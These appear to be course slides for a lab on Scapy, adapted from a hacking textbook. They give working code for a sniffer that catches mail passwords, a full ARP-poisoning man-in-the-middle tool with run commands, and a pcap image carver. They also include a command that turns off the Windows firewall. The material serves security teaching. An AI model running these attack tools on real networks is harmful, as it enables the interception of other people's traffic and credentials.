

SWE 4503

Owning The Network With Scapy

Scapy

```
sniff(filter="",iface="any",prn=function,count=N)
```

Scapy is a python packet manipulation library. We can do all the works we have done in the previous chapters with one or two lines of Scapy.

We recommend that you use Scapy under a Linux system, as it was designed to work with Linux in mind.

To get a feel for Scapy, let's start by building a skeleton sniffer that simply dissects and dumps out the packets. The aptly named sniff function looks like the top left function.

The filter parameter allows us to specify a Berkeley Packet Filter (BPF) filter to the packets that Scapy sniffs, which can be left blank to sniff all packets. For example, to sniff all HTTP packets, you would use a BPF filter of tcp port 80.

The iface parameter tells the sniffer which network interface to sniff on; if it is left blank, Scapy will sniff on all interfaces.

The prn parameter specifies a callback function to be called for every packet that matches the filter, and the callback function receives the packet object as its single parameter.

The count parameter specifies how many packets you want to sniff; if it is left blank, Scapy will sniff indefinitely.

Simple Sniffer

So here we are only giving a callback function which will be called if any packet is captured. Count is 1 so only a single packet will be captured.

```
from scapy.all import sniff

❶ def packet_callback(packet):
    print(packet.show())

def main():
    ❷ sniff(prn=packet_callback, count=1)

if __name__ == '__main__':
    main()
```

Execution

If we execute the previous slide's code by running the following command:

```
sudo python mail_sniffer.py
```

The output will be:

```
$ (bhp) tim@kali:~/bhp/bhp$ sudo python mail_sniffer.py
###[ Ethernet ]###
dst      = 42:26:19:1a:31:64
src      = 00:0c:29:39:46:7e
type     = IPv6
###[ IPv6 ]###
version  = 6
tc       = 0
fl       = 661536
plen     = 51
nh       = UDP
hlim     = 255
src      = fe80::20c:29ff:fe39:467e
dst      = fe80::1079:9d3f:d4a8:defb
###[ UDP ]###
sport    = 42638
dport    = domain
len      = 51
chksum   = 0xcf66
###[ DNS ]###
id       = 22299
qr       = 0
opcode   = QUERY
aa       = 0
tc       = 0
rd       = 1
ra       = 0
z        = 0
ad       = 0
cd       = 0
rcode    = ok
qdcount  = 1
```

Sniffing Emails

Table 4-1: BPF Filter Syntax

Expression	Description	Sample filter keywords
Descriptor	What you are looking for	host, net, port
Direction	Direction of travel	src, dst, src or dst
Protocol	Protocol used to send traffic	ip, ip6, tcp, udp

Before sniffing emails, we need to know what the above filters mean. For example, the expression `src 192.168.1.100` specifies a filter that captures only packets originating on machine 192.168.1.100. The opposite filter is `dst 192.168.1.100`, which captures only packets with a destination of 192.168.1.100. Likewise, the expression `tcp port 110 or tcp port 25` specifies a filter that will pass only TCP packets coming from or going to port 110 or 25.

Implementation of mail_sniffer.py

```
from scapy.all import sniff, TCP, IP, Raw
```

```
# The packet callback
```

```
def packet_callback(packet):
```

```
    # Check if the packet has a Raw layer (where payload data resides)
```

```
    if packet.haslayer(Raw):
```

```
        raw_payload = packet[Raw].load.decode(errors='ignore') # Decode as string
```

```
        print(f"Raw Payload: {raw_payload}") # Print the payload content
```

```
        # Check for keywords in the payload
```

```
        if 'email' in raw_payload.lower() or 'pass' in raw_payload.lower():
```

```
            print(f"[*] Destination: {packet[IP].dst}")
```

```
            print(f"[*] Payload: {raw_payload}")
```

```
def main():
```

```
    # fire up the sniffer
```

```
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143', prn=packet_callback, store=0)
```

```
    # sniff(prn=packet_callback, store=0)
```

```
if __name__ == '__main__':
```

```
    main()
```

Explanation

We changed the sniff function to add a BPF filter that includes only traffic destined for the common mail ports 110 (POP3), 143 (IMAP), and 25 (SMTP). We also used a new parameter called `store`, which, when set to 0, ensures that Scapy isn't keeping the packets in memory. It's a good idea to use this parameter if you intend to leave a long-term sniffer running, because then you won't be consuming vast amounts of RAM. When the callback function is called, we check to make sure it has a data payload and whether the payload contains the typical `USER` or `PASS` mail command. We print the whole payload in plaintext even if we don't find `USER` or `PASS` mail command. Because the free smtp server we are using for demonstration doesn't support authentication, therefore we can not find the `USER` or `PASS` mail command in the payload.

dummy_email.py

```
import smtplib

def send_email():
    # SMTP server details
    smtp_server = "104.237.130.88" # Replace with the target server's IP
    smtp_port = 25 # Port typically used for plaintext SMTP connections

    # Dummy email credentials
    email = "dummy@example.com"
    password = "plaintextpassword"
```


Continued

```
# Create an SMTP connection
try:
    print(f"Connecting to {smtp_server}:{smtp_port}...")
    server = smtplib.SMTP(smtp_server, smtp_port)

    # Uncomment the next line to see SMTP communication for debugging
    server.set_debuglevel(1)

    print("Attempting to login with plaintext credentials...")
    # server.login(email, password)
    print("Logged in successfully.")

    # Sending a test email
    from_email = email
    to_email = "bokatiq@gmail.com" # Replace with a valid recipient
    subject = "i am so poor"
    body = "I owe Ishmam Tashdid 20k"
    message = f"Subject: {subject}\n\n{body}"

    server.sendmail(from_email, to_email, message)
    print(f"Email sent to {to_email}.")
except smtplib.SMTPException as e:
    print(f"SMTP error: {e}")
except Exception as e:
    print(f"General error: {e}")
finally:
    server.quit()
    print("Connection closed.")

# Run the function
send_email()
```

Execution

Open a terminal in kali to run the mail_sniffer.py file using the following command:

```
sudo python sniffer.py
```

And open another terminal to run the dummyemail.py file using the following command:

```
sudo python dummy_client.py
```

We don't send email directly to our recipient, we need a server between us and our receivers. How come no one told me that earlier, would save lots of my time. The book doesn't specified the smtp server we need to use that's why we need to use the previous dummy_email.py file to make a connection through tcp port 25 to some free smtp server so that we can visualize how mail_sniffer.py works.

ARP (Address Resolution Protocol) Poisoning

ARP maps IP to MAC. Now, what the difference between MAC and IP with an example??

IP : Where is the destination device in the world?

MAC : How can the destination device be reached within the local network?

The goal of ARP poisoning attack is to associate the attacker's MAC address with the IP address of another device (usually the target device or gateway). This manipulation tricks devices on the network into sending their data to the attacker instead of the intended

Normal ARP Communication:

Device A asks, "Who has IP 192.168.1.1?"

Device B replies, "192.168.1.1 is at MAC AA:BB:CC:DD:EE:FF."

ARP Poisoning:

The attacker sends a forged ARP response to Device A, saying, "192.168.1.1 is at MAC 11:22:33:44:55:66" (attacker's MAC address).

Device A updates its ARP table, associating 192.168.1.1 with the attacker's MAC address.

Now, traffic meant for 192.168.1.1 is sent to the attacker instead.

ARP C

ARP Ca
shown o

Interfac
with the

Internet
which A

Physical
address

Interface: 192.168.0.102 --- 0x7			
Internet Address	Physical Address	Type	
192.168.0.1	0c-80-63-b7-3b-76	dynamic	
192.168.0.255	ff-ff-ff-ff-ff-ff	static	
224.0.0.22	01-00-5e-00-00-16	static	
224.0.0.251	01-00-5e-00-00-fb	static	
224.0.0.252	01-00-5e-00-00-fc	static	
225.199.3.253	01-00-5e-47-03-fd	static	
228.132.180.38	01-00-5e-04-b4-26	static	
230.20.189.116	01-00-5e-14-bd-74	static	
235.177.122.42	01-00-5e-31-7a-2a	static	
236.0.112.189	01-00-5e-00-70-bd	static	
236.58.96.254	01-00-5e-3a-60-fe	static	
239.192.152.143	01-00-5e-40-98-8f	static	
239.255.255.250	01-00-5e-7f-ff-fa	static	
255.255.255.255	ff-ff-ff-ff-ff-ff	static	

Interface: 10.10.1.1 --- 0xf

Internet Address	Physical Address	Type
------------------	------------------	------

Interface: 192.168.0.102 --- 0x7

Internet Address	Physical Address	Type
192.168.0.1	08-00-27-5d-7a-e8	dynamic
192.168.0.101	08-00-27-5d-7a-e8	dynamic
192.168.0.255	ff-ff-ff-ff-ff-ff	static

Continued (Skeleton Code)

```
from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
                       send, sniff, sndrcv, srp, wrpcap)

import os
import sys
import time
```

```
❶ def get_mac(targetip):
    pass

class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        pass

    def run(self):
        pass

❷ def poison(self):
    pass

❸ def sniff(self, count=200):
    pass

❹ def restore(self):
    pass

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()
```

Continued (get_mac)

1. `get_mac` function gets the mac address of a device using the ip address of that same device. First it creates a ARP packet which asks 'Who has target ip address' and utilizing Ether and dst 'ff:ff:ff:ff:ff:ff' it disseminate that ARP packet to all nodes of the LAN.
2. `srp` do the real dissemination and get the response which has the MAC address of the given ip address in the ARP packet.

```
def get_mac(targetip):  
    ❶ packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)  
    ❷ resp, _ = srp(packet, timeout=2, retry=10, verbose=False)  
    for _, r in resp:  
        return r[Ether].src  
    return None
```

Continued (Arper INIT)

So we are initializing ip addresses and getting mac address of the target device and gateway of the target device.

conf is a static object of scapy module, which stores important configuration values.

```
class Arper():  
    ❶ def __init__(self, victim, gateway, interface='en0'):  
        self.victim = victim  
        self.victimmac = get_mac(victim)  
        self.gateway = gateway  
        self.gatewaymac = get_mac(gateway)  
        self.interface = interface  
        conf.iface = interface  
        conf.verb = 0  
    ❷ print(f'Initialized {interface}:')  
        print(f'Gateway ({gateway}) is at {self.gatewaymac}')  
        print(f'Victim ({victim}) is at {self.victimmac}.')  
        print('-'*30)
```

Continued (Arper RUN)

1. Since we need to send lots of packets without any intervention of the user, we use this Process object to start threading that automatically calls the target function within a specified interval. At first ARP poisoning function is initiated and started.
2. Then sniffing function is initiated and started.

```
def run(self):
```

```
    ❶ self.poison_thread = Process(target=self.poison)  
      self.poison_thread.start()
```

```
    ❷ self.sniff_thread = Process(target=self.sniff)  
      self.sniff_thread.start()
```


Continued (Arper poison)

1. At first we poison the target device. So after this all the packets from target device to gateway will arrived to us first.
2. Then, we poison the gateway. So after this all the packets from gateway to target device will arrived to us first.
3. Then inside while loop, we continuously send these packets so that the entire time we execute this arper.py file both target device's and gateway's ARP cache remains poisoned.

```
def poison(self):
❶ poison_victim = ARP()
   poison_victim.op = 2
   poison_victim.psrc = self.gateway
   poison_victim.pdst = self.victim
   poison_victim.hwdst = self.victimmac
   print(f'ip src: {poison_victim.psrc}')
   print(f'ip dst: {poison_victim.pdst}')
   print(f'mac dst: {poison_victim.hwdst}')
   print(f'mac src: {poison_victim.hwsrc}')
   print(poison_victim.summary())
   print('-'*30)
❷ poison_gateway = ARP()
   poison_gateway.op = 2
   poison_gateway.psrc = self.victim
   poison_gateway.pdst = self.gateway
   poison_gateway.hwdst = self.gatewaymac

   print(f'ip src: {poison_gateway.psrc}')
   print(f'ip dst: {poison_gateway.pdst}')
   print(f'mac dst: {poison_gateway.hwdst}')
   print(f'mac src: {poison_gateway.hwsrc}')
   print(poison_gateway.summary())
   print('-'*30)
   print(f'Beginning the ARP poison. [CTRL-C to stop]')
❸ while True:
       sys.stdout.write('.')
       sys.stdout.flush()

       try:
           send(poison_victim)
           send(poison_gateway)
❹ except KeyboardInterrupt:
           self.restore()
           sys.exit()
       else:
           time.sleep(2)
```

Continued (Arper SNIFF)

1. We start sniffing after poisoning the target device and gateway.
2. sniff object or function from scapy sniff any packets with victim ip address and at the specified interface.
3. wrpcap writes the packets in 'arper.pcap' file. We will learn to process this file in the next part.
4. Before terminating poisoning we restore the mac address for the target device and gateway.

```
def sniff(self, count=100):  
    ❶ time.sleep(5)  
        print(f'Sniffing {count} packets')  
    ❷ bpf_filter = "ip host %s" % victim  
    ❸ packets = sniff(count=count, filter=bpf_filter, iface=self.interface)  
    ❹ wrpcap('arper.pcap', packets)  
        print('Got the packets')  
    ❺ self.restore()  
        self.poison_thread.terminate()  
        print('Finished.')
```

Continued (Arper RESTORE)

1. At first we restore target device.
We send the actual mac address of gateway device and send hwdst as all 1 because target device already knows its mac address we don't need to specify.
2. Next we restore gateway by providing correct mac address of the target device.

```
def restore(self):  
    print('Restoring ARP tables...')  
    ❶ send(ARP(  
        op=2,  
        psrc=self.gateway,  
        hwsrc=self.gatewaymac,  
  
        pdst=self.victim,  
        hwdst='ff:ff:ff:ff:ff:ff'),  
        count=5)  
    ❷ send(ARP(  
        op=2,  
        psrc=self.victim,  
        hwsrc=self.victimmac,  
        pdst=self.gateway,  
        hwdst='ff:ff:ff:ff:ff:ff'),  
        count=5)
```

Execution

Open terminal in your kali machine (Guest OS) and open another terminal in your windows machine (Host OS). Run the below command in kali machine to first tell the local host machine that we can forward packets along to both the gateway and the target IP address:

```
Kali-terminal > sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
```

Then open your windows terminal and run

```
Windows-terminal > arp -a
```

Observe the mac address for default gateway.

Then get back to kali terminal and run:

```
Kali-terminal > sudo python arper.py 192.168.0.102 192.168.0.1 eth0
```

While arper.py is running, again check the ARP cache in windows and observe the difference between mac address of default gateway. You will see default gateway has the ip address of kali machine.

Continued

To execute the whole process you will face lots of challenges. Some are listed:

1. Windows firewall (Host System Firewall). You can disable it with : 'netsh advfirewall set allprofiles state off' and re enable it with 'netsh advfirewall set allprofiles state on'. Careful this command is simple to implement but it will switch off all the protection you will have.
2. Make sure your network mode for VMware is in bridge mood.
3. There can be issue regarding the interface. In the book it is mentioned 'en0' but it is for mac, for linux its most probably 'eth0'. If it shows error dictatiting the problem is in interface you might need to change the interface.
4. If for any command requires permission, run the command in sudo.
5. Remember to switch the ip addresses, since you will be having different machines than mine.

PCAP processing

A .pcap (Packet Capture) file is a data file used to store network traffic captured over a network. These files are widely used in the field of networking, cybersecurity, and systems administration for troubleshooting, monitoring, and analyzing network communications.

PCAP files can be used in the following sectors:

- 1) Network Traffic Analysis: They help identify issues like latency, packet loss, or misconfigured network settings.
- 2) Intrusion Detection : Intrusion detection systems (IDS) like Snort or Suricata can process .pcap files to detect anomalies.
- 3) Compliance and Auditing : Companies may store .pcap files for auditing purposes to ensure compliance with regulatory standards.
- 4) Protocol Analysis : Analyze how specific network protocols (HTTP, DNS, TCP, UDP, etc.) are implemented and function in real-world scenarios.

Recapper's (PCAP Processor) Skeleton

Now the right side image contains the skeleton code for Recapper, a class that process a .pcap file and save an image if it finds that image in a tcp session (single stream of packets).

Our Second objective is to try to put boundary box on the image if it has human face.

```
from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib

❶ OUTDIR = '/root/Desktop/pictures'
   PCAPS = '/root/Downloads'

❷ Response = collections.namedtuple('Response', ['header', 'payload'])

❸ def get_header(payload):
    pass

❹ def extract_content(Response, content_name='image'):
    pass

class Recapper:
    def __init__(self, fname):
        pass

    ❺ def get_responses(self):
        pass

    ❻ def write(self, content_name):
        pass

if __name__ == '__main__':
    pfile = os.path.join(PCAPS, 'pcap.pcap')
    recapper = Recapper(pfile)
    recapper.get_responses()
    recapper.write('image')
```

Constant Values

- 1) Directory for the output images and input pcap files are mentioned first.
- 2) Then, length of the header inside that TCP packet.
- 3) Then, length of the image we are processing.
- 4) Both the lengths can be variable, we are taking a fixed length because it's easier to process and we have selected image file.
- 5) At last, we are making a tuple and it's values can be accessible using keywords.

```
OUTDIR = 'output_images'
```

```
PCAPS = 'pcap_files'
```

```
LENGTH_HEADER = 287
```

```
LENGTH_IMAGE = 1208468
```

```
Response = collections.namedtuple('Response', ['header', 'payload'])
```


Get Header

- 1) So this function will take payload as an argument and at first takes the first raw 287 bytes from the payload, since those are the parts of the header.
- 2) Then it will convert the header to dictionary where keys are like "Content-Type" and values are "image/jpeg".
- 3) Then it checks if "Content-Type" key is present or not, if presents then return the header.

```
def get_header(payload):  
    try:  
        header_raw = payload[:LENGTH_HEADER]  
    except ValueError:  
        sys.stdout.write('-')  
        sys.stdout.flush()  
        return None  
    header = dict(re.findall(r'(?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode()))  
  
    # print(f"header : {header}")  
  
    if 'Content-Type' not in header:  
        return None  
    return header
```

Extract Content

This functions extract the image as content. You can see the `contentWithBoundary` that contains payload without the header. But in the payload we have three things together: header + image + boundary. So to get the actual image we need to split it again with the image length. At last check if content is zipped or not, if zipped unzip it and return the image.

```
def extract_content(Response, content_name='image'):  
    content, content_type = None, None  
    if content_name in Response.header['Content-Type']:  
        content_type = Response.header['Content-Type'].split('/')[1]  
        contentWithBoundary = Response.payload[LENGTH_HEADER:]  
        content = contentWithBoundary[:LENGTH_IMAGE]  
        if 'Content-Encoding' in Response.header:  
            if Response.header['Content-Encoding'] == "gzip":  
                content = zlib.decompress(Response.payload, zlib.MAX_WBITS | 32)  
            elif Response.header['Content-Encoding'] == "deflate":  
                content = zlib.decompress(Response.payload)  
        else:  
            print(f"Content Type {Response.header['Content-Type']}")  
    return content, content_type
```

Recapper

- 1) At first, we read the pcap files, then find the tcp sessions inside that pcap file.
- 2) When get responses function is called we iterate over sessions and again iterate over each packet to increment the data to the payload.
- 3) When write function is called we iterate over responses list which is already defined in the get_responses function and extract the content of the responses.

```
class Recapper:
    def __init__(self, fname, count=10):
        pcap = rdpcap(fname)
        self.sessions = pcap.sessions()
        self.responses = list()
        self.count = count

    def get_responses(self):
        for session in self.sessions:
            payload = b''
            for packet in self.sessions[session]:
                try:
                    if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                        payload += bytes(packet[TCP].payload)
                except IndexError:
                    sys.stdout.write('x')
                    sys.stdout.flush()

            if payload:
                header = get_header(payload)
                if header is None:
                    print("Header is None")
                    continue
                self.responses.append(Response(header=header, payload=payload))

    def write(self, content_name):
        print(f"Found {len(self.responses)} responses")

        for i, response in enumerate(self.responses):
            content, content_type = extract_content(response, content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}')
                print(f'Writing {fname}')
                with open(fname, 'wb') as f:
                    f.write(content)
            else:
                print(f"Found no content or content-type : {content_type}")
                print(f"content : {content}")
```

jpg_to_pcap.py

After coding the recapper.py, we need a .pcap file to process and output an image from that .pcap file. The problem of public .pcap files available in the internet is that they are huge (minimum goes up to 284 MB). Since, most of us using VMware to work on Kali Linux, it might take lots of time to process those files (due to resource constraint). And in some cases even we process a huge file we might not get a packet containing an image of human face. That's why I decided to make a .pcap file that contains image of a human face. Next slide also has the classic detector we use to detect a human face.

```
from scapy.all import *

# Read the image as binary data
image_path = "girl.jpg"
with open(image_path, "rb") as f:
    image_data = f.read()

# Define the HTTP headers
content_type = "image/jpeg"
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
http_headers = f"""POST /upload HTTP/1.1\r
Host: example.com\r
Content-Type: multipart/form-data; boundary={boundary}\r
Content-Length: {len(image_data)}\r
\r
--{boundary}\r
Content-Disposition: form-data; name="file"; filename="girl.jpg"\r
Content-Type: {content_type}\r
\r
"""

print(f"Type of http_headers encoding {type(http_headers.encode())}")
print(f"Size in bytes of http_headers encoding {len(http_headers.encode())}")
print(f"Size in Bytes of image data {len(image_data)}")

# Create the HTTP payload with headers
http_payload = http_headers.encode() + image_data + f"\r\n--{boundary}--\r\n".encode()

# Split the payload into chunks
CHUNK_SIZE = 1400 # Maximum payload size for a single TCP packet
chunks = [http_payload[i:i + CHUNK_SIZE] for i in range(0, len(http_payload), CHUNK_SIZE)]

# Create packets for each chunk
packets = []
for chunk in chunks:
    packet = Ether() / IP(dst="192.168.1.1") / TCP(dport=80) / Raw(load=chunk)
    packets.append(packet)

# Write the packets to a .pcap file
pcap_path = "pcap_files/girl.pcap"
wrpcap(pcap_path, packets)
print(f".pcap file saved to {pcap_path}")
```

detector.py

```
import cv2

# Load the pre-trained Haar Cascade classifier for face detection
haar_cascade_path = cv2.data.haarcascades + "haarcascade_frontalface_default.xml"
face_cascade = cv2.CascadeClassifier(haar_cascade_path)

print("After loading the classifier")

# Load the image
image_path = "input.jpeg" # Replace with the path to your JPEG image
image = cv2.imread(image_path)

print("After loading the image")

# Convert to grayscale (Haar Cascade works better on grayscale images)
gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

# Detect faces
faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30))

print("After detecting faces")

# Draw rectangles around detected faces
for (x, y, w, h) in faces:
    cv2.rectangle(image, (x, y), (x + w, y + h), (255, 0, 0), 2)

# Display the output
# cv2.imshow("Detected Faces", image)
# cv2.waitKey(0)
# cv2.destroyAllWindows()

cv2.imwrite('output.jpeg', image)

# Print the number of faces detected
print(f"Number of faces detected: {len(faces)}")
```